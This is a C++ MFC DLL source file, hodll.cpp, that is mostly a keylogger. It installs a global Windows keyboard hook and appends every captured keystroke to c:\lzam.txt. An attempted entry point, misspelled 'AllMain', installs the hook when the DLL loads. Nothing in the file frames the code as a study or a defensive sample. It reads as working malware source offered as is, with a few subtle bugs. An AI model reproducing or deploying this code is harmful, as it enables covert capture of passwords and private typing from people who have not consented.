// hodll.cpp : Defines the initialization routines for the DLL. // #include "stdafx.h" #include "hodll.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif HHOOK hkb=NULL; HINSTANCE hins; // // Note! // // If this DLL is dynamically linked against the MFC // DLLs, any functions exported from this DLL which // call into MFC must have the AFX_MANAGE_STATE macro // added at the very beginning of the function. // // For example: // // extern "C" BOOL PASCAL EXPORT ExportedFunction() // { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // // normal function body here // } // // It is very important that this macro appear in each // function, prior to any calls into MFC. This means that // it must appear as the first statement within the // function, even before any object variable declarations // as their constructors may generate calls into the MFC // DLL. // // Please see MFC Technical Notes 33 and 58 for additional // details. // ///////////////////////////////////////////////////////////////////////////// // CHodllApp BOOL APIENTRY AllMain(HANDLE hModule,DWORD reason,LPVOID lpReserved) { installhook(); return TRUE; } LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc (int nCode,WPARAM wParam,LPARAM lParam) { char ch; if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode)) { if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam >=0x2f)&&(wParam<=0x100)) { FILE *f1; f1=fopen("c:\\lzam.txt","a+"); if(wParam==VK_RETURN) { ch='\n'; fwrite(&ch,1,1,f1); } else { BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan; scan=0; ToAscii(wParam,scan,ks,&w,0); ch=char(w); fwrite(&ch,1,1,f1); } fclose(f1); } } LRESULT RetVal=CallNextHookEx(hkb,nCode,wParam,lParam); return RetVal; } extern BOOL __declspec(dllexport)__stdcall installhook() { FILE *f1=NULL; f1=fopen("c:\\lzam.txt","w"); fclose(f1); hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0); return TRUE; } BOOL __declspec(dllexport) UnHook() { BOOL unhooked=UnhookWindowsHookEx(hkb); return unhooked; } BEGIN_MESSAGE_MAP(CHodllApp, CWinApp) //{{AFX_MSG_MAP(CHodllApp) // NOTE - the ClassWizard will add and remove mapping macros here. // DO NOT EDIT what you see in these blocks of generated code! //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CHodllApp construction BOOL CHodllApp::InitInstance () { AFX_MANAGE_STATE(AfxGetStaticModuleState()); hins=AfxGetInstanceHandle(); return TRUE; } BOOL CHodllApp::ExitInstance () { return TRUE; } CHodllApp::CHodllApp() { // TODO: add construction code here, // Place all significant initialization in InitInstance } ///////////////////////////////////////////////////////////////////////////// // The one and only CHodllApp object CHodllApp theApp;